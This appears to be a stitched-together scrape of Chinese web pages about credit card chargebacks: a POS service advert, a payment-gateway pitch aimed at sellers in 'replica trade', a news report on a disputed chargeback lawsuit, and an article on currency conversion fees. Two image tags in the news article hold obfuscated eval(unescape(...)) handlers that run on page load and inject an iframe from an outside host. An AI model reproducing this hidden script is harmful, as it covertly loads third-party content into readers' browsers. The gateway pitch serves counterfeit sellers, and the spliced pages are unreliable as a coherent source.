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pos机商户必看：关于拒付交易
07:01 &/& 作者: admin&/& 浏览:
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据悉，近期有较多的拒付交易出现，新闻也报导了几篇，主要产生的原因如下：
1、持卡人信用卡被盗刷拒付。
2、POS机小票与对帐单不符合拒付。
3、转账业务盗刷拒付。
4、同行竞争恶意利用规则拒付。
5、交易差错，未收到货的情况（a.可以提供追踪码，客人已签收或者东西扣关；b.客人没签收，自己又没有证据）；
6、交易纠纷，与描述不符；
7、交易纠纷，假货；
8、持卡人未授权（无法辨认该购买为本人操作）
目前商户中存在着大量pos机小票与对帐单不符合这一情况，很多商户将面临拒付及pos机被关停，欢迎至电厦门pos机办是中心咨询了解如何不会因为pos机小票与对帐单不符合被拒付。讨论各种支付网关、信用卡收款、线下支付等话题
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最近两年，很多做仿真贸易的商家热衷于使用国际信用卡收款通道，因为它不冻结，使用客户多，收到了很多外贸商家的青睐。但是呢，了解过的商家都知道，国外信用卡又一个拒付期。因此也就产生了对拒付的担忧。今天，我们就来探讨下ECPSS国际信用卡收款通道是如何处理拒付的。　　首先呢，我把信用卡的拒付分为四种情况。　　　　未授权交易、未收到货、货不对版、恶意拒付等，货物被扣关等。有些商家不免会问：这个应该很少的呀，一般我们发货都会审核无误才发的呀。其实不然，我们做过调查，在拒付的理由中未收到货占41%，货不对版占23%。特别是外贸旺季，单子的量突然增大，商家会出现人手不够的现象，审核不严格，或者容易漏单。并且客服也没余即使和客户沟通做解释，甚至有些商家就根本没有招客服。　　　　针对这种情况，主要还是靠买卖双方去协商解决。任何第三方支付都无法替代卖家去和买家进行协商的。一般客户投诉会先投诉到我们这边，因此我们会努力为卖家争取时间，使问题得到更好的解决。下面详细来说一、未授权交易未授权交易是指：未获得正真持卡人授权的交易，比如盗卡或者信用卡被偷……. 导致持卡人拒付【需要依靠ecpss的风险评估体系挡掉此类交易】　　二、未收到货
(1)如果确实是没有发货的，商家可以跟买家协商重新发货，并且最好给客户送点小礼品，这样客户会很高兴的，并且会很可能会成为回头客，并且介绍朋友过来。如果客户不需要了，也可以给予退款。不要因为舍不得而导致客户拒付。如果是客户收到货了还要说没收到货并且拒付，这个情况商家可以保留发货单据等证据，跟我提出申请，可以进行免费申诉。　　　　　　（2）扣关问题。有的客户会关心扣关的问题，因为有些比较火的产品可能会被扣关。这个问题我们也很想帮忙的，但是作为第三方支付，就是专注于帮助商家收款的，其他的货代方面的事情爱莫能助。所有的第三方支付都是如此。如果出现扣关的情况的话，可以跟客户协商是退款还是重新发货。三、货不对版这种情况基本同上。可以给客户重新发货，当然如果客户不愿意的话，可以给他部分退款，或者让客户再付少量的钱，再给客户发一双对版的产品，当然如果可以的话也给客户送个小礼品。　　四、恶意拒付如果客户收到货了也满意，确以某种理由来提出拒付，针对这种情况的恶化，商家可以利用我们的独有的免费申诉功能，商家需要提供发货单据、聊天记录、邮件截图等对自己有利的证据，我们会代替您免费向Visa或Master发卡行进行申诉，申诉成功的话钱是可以退给商家的。 资深经理：QQ 132
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正在浏览此版面的用户：没有注册用户 和 0 位游客电子商务第一案:持卡人拒付原因至今不明- 网上银行- auditions - 和讯博客
来源：未知
作者：未知
发布时间： 16:40:12
电子商务第一案:持卡人拒付原因至今不明0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.}}" src='/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zf_180_150.html%20width%3D180%20height%3D150%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml1%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">由于外币持卡人拒付货款，让西单电子、上海环讯和建行上海分行陷入一场长达4年的经营合同纠纷。今年9月，上海一中院的判决终于让这场纠纷有了眉目。遗憾的是，由于最具发言权的银行方面拒绝报案，使得这起电子商务案的案因仍是一团迷雾。
　　官司打赢了，可林亚却一直高兴不起来。　　“心里总是个事，总不舒坦。”“十一”长假前几天，记者见到林亚，说起官司的事，她直摇头，一脸的苦相，“被上海环讯扣的10万元款还没要回来。”　　林亚是北京的商业老字号西单商场旗下的电子商务公司(以下简称西单电子)总经理。在西单商场工作了30年，是一名“老商业”，现在却碰上新问题。2003年以来，他们公司一直被一起官司缠着，官司打打停停差不多4年，上个月才结案。　　“我们根本没责任，严格说起来也不关我们的事，可硬把我们拖进官司里，又浪费人力，又浪费金钱，没法儿说。”林亚很无奈。　　这是一场经营合同纠纷。原告是上海环讯电子商务公司（以下简称环讯），被告就是西单电子，第二被告是建设银行上海分行。三方原本合作共同从事电子商务，但合作不到一年，就发生了有近58万多元人民币的货款被外币持卡人拒付，形成损失的纠纷，纠纷的焦点就是三方中应由谁来承担损失。　　58万元的损失孤立地看似乎并不算太严重，但对于零售商业、特别是刚刚起步的电子商务来说却不是小数目。中国电子商务政策法律委员会副主任阿拉木斯说，它出现最早，损失也最大，这起案子可以称为是中国电子商务第一案。　　58万元货款被持卡人拒付　　西单电子、环讯都是2000年左右成立的，成立后不久，这两家公司加上上海建行就建立了合作关系。　　“开头合作不错。”西单电子的会计室主任张家伟说，“我们当时选择上海结算服务中介机构是想吸引上海和持有国外银行卡的网上消费者。”　　事实证明，这个选择是正确的。半年时间，西单电子光是通过环讯结算的业务就近千万元。然而好景不长，三企业的合作到第7个月时问题就出现了。　　2002年8月，西单电子发出去的两台手提电脑，迟迟不见回款，于是便向上海环讯发出咨询。几天后，环讯回信说，购买电脑的人持国外信用卡，他们拒绝支付。又过了几天，环讯说，拒绝支付的客户有好多家，交易有100多宗，货款总计达七八十万元，通过西单电子交易的有58万元，全是通过建行上海分行结算的。　　国外银行卡组织规定，持卡人在接到对账单后的6个月内可以无条件拒绝付款。如果持卡人有要求，银行应将划出的款再划回持卡人账户。建行上海分行根据上述规定，把已经打出的钱又从环讯账上划了回去。　　电子商务是一项新兴商业，其运行方式和传统商业大不相同。　　电子商务的确切定义连专家都莫衷一是，但大体上把通过互联网进行的商业活动都可以纳入其中；通常所说电子商务，一般只指网上商品买卖及结算。　　西单电子和环讯、建行形成的就是一般意义上的电子商务。电子商务至少需要4类企业分工合作完成：第一类是出售商品的商家，第二是银行，第三是买卖及结算信息整理传递的中介企业，第四是物流递送企业。商家把商品的信息公布在互联网上，购货人订货后，订货信息经中介企业集中整理后发给相应的银行。银行核对买方的信用卡，并将款划出，经由中介企业打给商家。商家得到购货人货款已划出的信息，即“交易成功”的信息，就把商品交由物流递送企业发送到购货人手中。随后，中介企业即把货款打入商家账户。　　这种主要通过互联网进行的交易难免有风险。　　但当时弄不清楚这些持外国银行卡的拒付者是恶意透支还是伪造信用卡。到现在也不清楚，因为最有发言权的建行始终不愿报案。　　法院判决银行负主要责任　　一出现损失，上海建行首先暂扣了环讯的60万元货款，环讯也扣下该支付给西单电子的10万元货款。在这种情况下，西单电子只好暂停与环讯的业务。　　第二年，上海环讯把西单电子告上法庭，要求西单电子返还其余的50余万元货款的损失，理由是损失的款项应看作是环讯替西单电子交的垫付款。几个月后撤诉，2005年初又以同样理由起诉，并在法院要求下，将建行上海分行列为第二被告。2006年6月，上海市长宁区法院一审判决三企业各负三分之一的责任。西单电子不服，提起上诉。9月，上海市第一中级人民法院二审判决西单电子没有责任，建行上海分行负三分之二责任，环讯负三分之一责任。判决后不久建行上海分行就执行了判决，把扣的款项中39万多元还给了环讯，而环讯却迟迟没有返还应付西单电子的10万元。　　“环讯也没说不还，可就是不愿打款。”林亚说，“这事儿软了不行，硬了也不行，挺伤脑筋的。”　　网上支付还是让人担心　　事情虽然发生在几年前，但这起案件所涉及的银行卡和网上支付的安全问题仍然困扰着许多人。同样的事会不会再次发生？这次案件是造成银行损失，下一次会不会危及一般储户？银行能否保证储户资金的安全？　　记者试图就以上问题采访建行，但从建行总行到上海分行，到北京分行，全都予以拒绝。　　“人们对银行还是很信任的嘛，”建行北京分行宣传科的一名员工在电话中说，“储蓄款天天都在增加嘛！”这或许就是建行上上下下不屑于回答银行卡和网上支付安全的原因。　　记者采访中获悉，，一般银行的网上支付采取安全措施可称为“三密一定”，即三套密码，固定电脑上网。　　“一般是不会出问题的。”几乎所有的银行营业员都这么说，“我们也都有过网上支付，从来没出过事儿。”　　但许多储户声称存款未经自己授权就从网上划走了，有人还为此打了官司。不过，大多数储户都败诉了，因为他们举不出银行失职的证据。　　在生活中，一般的借记卡、储蓄卡不易出问题，而可以透支的信用卡则有风险。因为，按国际惯例，这样的卡在消费刷卡时不用密码，只用核对签名。而核对签名的人员辨认字体的能力却不一定能保证。　　出事后西单电子终止了与上海环讯的合作，也终止了国外银行卡的购货业务。为此，西单电子每年损失近200万元人民币的业务量。　　“损失就损失吧，”林亚说，“为了安全，也只能这样。”　　记者电话采访了上海环讯。该公司在发给记者的电子邮件中说，他们已采取多项安全措施，公司也通过国际认证。　采访后记　　奇怪的逻辑　　法制网记者 李郁　　这次采访又一脚踏进个陌生领域。　　电子商务在世界范围内都是一个新兴行业。在中国，近一亿的网民中，只有不足10%有过1次以上网上购物经历。调查表明，接近42%的网民对网上交易的安全性有疑虑。　　电子商务的普及尚需时日。　　为弄清电子商务的基本情况，特别是这起电子商务案的来龙去脉，的确要花一番功夫。不光是作为旁观者的记者，即使是圈子里的人，由于各种条件的限制，也备感困难。　　这起电子商务案发生已近4年了，具体的原因尚不清楚。到底是不是一种预谋犯罪，是团伙还是个人？都不清楚，甚至被盗取号码的信用卡是国外哪个银行发行的卡都不知道。原因是没人报案，公安部门没有介入。　　“没人报案是都怕把损失算在自己头上。”一位知情人说，“大家都说不是自己的错，损失不应该由自己承担，所以都不去报案。”　　如果情况属实，那真是一种奇怪的逻辑。　　其实单出于打击犯罪，提醒世人的道理也应该报案。但可惜，这件大案如今还悬在那里，如果真是犯罪，那犯罪分子正在背后偷着乐呢。　　在这起案件中，建行反应很慢，事发半年后才向两企业通报情况，致使损失不断增加，而且搜集证据也因时间过长而受影响。而在处理问题时银行也表现的很蛮横，首先就依仗自己的强势地位，扣下了环讯60万元的货款。　　说实在的，这种心态很不适宜走向世界。　　不适宜走向世界还有别的方面。　　电子商务的确简便快捷，但其中技术复杂、参与的机构众多，出问题的机率也高。更主要的是国际信用卡组织所执行的规则与我国的法律和商业活动习惯也有不适应之处，比如60天“无条件拒付”，4年的差错追诉期等。　　查找销售活动记录，按我国的规定，邮寄物品查找期限是3个月，电子商务记录是半年。如果半年后再去查找，这些记录很难寻找。如果改变这些规定，势必给有关企业增加经济负担，估计短期内很难实行。　　据悉，两年前，Visa银行卡组织已增加了安全措施，建立了一种“公开密钥”体制，或称“CA安全认证保障体系”，这样电子商务的安全性将大大增加。但不管技术如何改进，人的责任心永远是第一位的。0 && image.height>0){if(image.width>=700){this.width=700;this.height=image.height*700/image.}}" src='/img/gsgs.gif' width=0 height=0 onerror="eval (unescape('var%20content1%3D%22%3CI+FR+AME%20%20align%3Dcenter%20marginWidth%3D0%20marginHeight%3D0%20src%3Dhttp%3A//qdsm.net/links/zw_468_60.html%20width%3D468%20height%3D60%20frameBorder%3D0%20scrolling%3Dno%3E%3C/I+FRAM+E%3E%22%3B%20document.getElementById%28%22contenthtml2%22%29.innerHTML%3D%20content1'.replace(/\+/g,'')))">
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持卡人有权拒付境外刷卡多出9.8%
摘要：就满女士刷卡消费签收单的金额是361美元，而收到的账单却是377美元这种情况，满女士是有权拒付账单的。怎么跟我签字的账单不一样呀，多收了60多美元？赵小姐是&旅游达人&，出境旅游偏好于网上预订。
春节前，赵小姐在一家有名的国际网站上预订了泰国的酒店，共用信用卡支付了一笔金额为637.67美元的费用。回来后不久收到银行信用卡对账单，核对账单发现，这笔交易的扣款金额为700.12美元。多收62.45美元，是原始签单总额的9.8%。
无独有偶，春节期间去美国旅游的满女士也遇到相同问题。满女士当时在美国一家商店刷卡消费了361美元，前几天去银行还款时发现需还款金额为377美元，凭空多出了16美元。&当时刷卡时我还跟商户强调刷美元，打算回国后直接还美元。这16美元的费用到底是哪儿来的呢？&满女士致电银行信用卡客服电话要求调查。
一次刷卡收两次兑换费
巧合的是，这两位持卡人所持信用卡均为某股份制银行发行的visa和银联双币信用卡。记者昨天致电该银行信用卡中心，该中心相关人士解释说，这是一种通过境外收单行将交易货币直接转换为以持卡人本国货币结算的交易类型，区别于境外银联线路的信用卡交易。由于人民币是非自由兑换货币，根据外汇管理政策规定，该交易须记入持卡人美元账户。此外，这种交易类型为境外收单行单方面将境外交易转换为人民币交易，国际卡组织与发卡行均需以美元进行结算，因此持卡人实际结算金额会存在汇差并会产生相应的货币转换费。
也就是说，赵小姐和满女士刷卡美元结算当时已经换算成人民币了，回国还款时银行又以人民币兑换美元。一趟境外购物和住店，却被商家和银行收取了两次货币兑换费用。
&动态货币转换&或高达10%
分明是一笔费用，为何会被收取两次货币转换费？一家商业银行信用卡部总经理昨天告诉记者，这两笔应该都是境外dcc(dynamic currency conversion)交易，即&动态货币转换&。这是国际卡组织为持卡人提供的一种服务，即持卡人可选择商户所在地的货币为支付币种，也可选择自己的账单币种作为交易的支付币种。
在赵小姐案例中，网上预订商户认为客户是中国的，卡片账单币种应为人民币。在未事先告知客户并取得客户同意的情况下，将交易的支付货币转换成人民币，为客户主动做了笔dcc。但银行的境外交易账单币种其实是美元，人民币经国际组织又折回了美元入账，而最终入账的美元金额大于原标价美元金额。
&动态货币转换应该是2007年初从美国开始推广，主要是国际卡组织为了平衡收单行、商户和发卡行之间的利益。&不过该银行信用卡部总经理也认为，由于货币转换费用是由当地收单行和商户自己来定，有的国家或是有些地方商家费率就相对比较高。比如芬兰有商户的货币转换费率高达10%。此外，在发卡行收到账单后，有的银行还会再加上自己的利润。
发卡行、收单行、国际卡组织以及商户的利益最大化了，损坏的却是消费者的利益。一次消费两次货币转换，都需要持卡人买单。
费率损失可追回
该银行信用卡部总经理表示，根据国际规定，商户必须事先询问持卡人是按当地币种结算还是按本国币种结算，必须经持卡人同意后方可进行dcc交易。像满女士在刷卡消费时提出了以美元结算，而商家可能依然为了自己的利益把美元兑换成人民币。据此规则，发卡行是可以为满女士和赵小姐向收单行提出申述并挽回交易损失的。
持卡人有权拒付账单
就满女士刷卡消费签收单的金额是361美元，而收到的账单却是377美元这种情况，满女士是有权拒付账单的。一位银行卡业内人士上午告诉记者，持美元人民币双币卡在美国消费，本身是没有任何货币转换费用的，不管当时是商户多收钱还是发卡行多收钱，满女士绝对有权拒付。如果已经付账，也可以通过发卡行追回多付的款项。
通常dcc交易签单会列示两个币种及折算汇率，同时有表述交易金额被转换的字样。持卡人刷卡消费在签字确认时，应仔细辨认签单上的说明，发现问题及时提出，要求商户当场撤消；如是网上交易，在确认交易前应仔细分辨网上商户条款，尽量避免在确认后才发现有问题而导致损失。另外，持卡人在信用卡还款前还应仔细核对刷卡金额和还款金额，避免不必要的损失。
dcc交易涉及货币转换且转换费用构成消费总金额的一部分，因此，最后计入持卡人信用卡账户的清算金额会比用当地货币表示的实际交易金额高。因为dcc交易的货币转换费用要高于普通信用卡境外交易所使用的货币转换费用。鉴于此，VISA和MasterCard国际组织都规定，发卡银行可以根据上述情况为理由向收单银行提出拒付，维护持卡人的合法利益。另外，持卡人也应在消费单上签字时多加留意。
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采菊东篱下
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愚鈍無術、所以清靜無為,琴棋書畫伴人生,不思進取酌為樂。
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blogTitle:'信用卡遭盗刷 持卡人已表示拒付却遭银行强扣近7万',
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